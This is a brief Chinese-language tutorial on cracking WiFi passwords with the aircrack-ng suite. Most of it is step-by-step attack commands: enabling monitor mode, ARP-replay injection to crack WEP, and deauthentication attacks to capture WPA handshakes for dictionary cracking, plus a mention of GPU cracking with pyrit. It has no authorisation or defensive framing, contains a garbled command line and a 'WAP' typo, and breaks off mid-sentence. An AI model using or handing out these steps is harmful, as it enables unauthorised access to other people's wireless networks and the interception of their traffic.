破解wifi详细教程及笔记总结

破解wifi详细教程及笔记总结

---

1.破解WEP

由于wep破解基于有效数据报文的积累，当收集到足够数量的ivs数据报文后就可以进行破解，对目标ap使用arprequest注入攻击。
1)ifconfig wlan0 up
2)(airmon-ng start wlan0)
3)airodump-ng -w 文件名 -c 频道 mon0
4)aireplay-ng -3 -b AP的mac -h 客户端的mac mon0
5)aircrack-ng 捕获的cap文件或ivs文件

2.破解WAP

WPA-PSK的破解基于WPA-PSK握手验证报文数据的获取与识别，攻击者只要
1)ifconfig wlan0 up
2)1airmon-ng wlan0 up?(airmon-ng start wlan0)
3)airodump-ng -w 文件名 -c 频道 mon0
4)aireplay-ng -0 10 -a AP的mac地址 -c 客户端的mac地址 mon0
5)aircrack-ng -w 字典 捕获的cap文件

Linux下可以使用pyrit工具利用GPU加速破解密码；

3.aircrack-ng包含的主要组件

• aircrack-ng:主要用于WEP及WPA-PSK密码的恢复，只要airodump-ng收集到足够数量的数据包。aircrack-ng就可以自动检测数据包并判断是否可以破解
• airmon-ng：用于改变无线网卡工作模式，以便其他工具顺利使用
• airodump-ng：用于捕获802.11数据报文，以便aircrack的破解
• aireplay-ng：在进行WEP及WPA-PSK密码恢复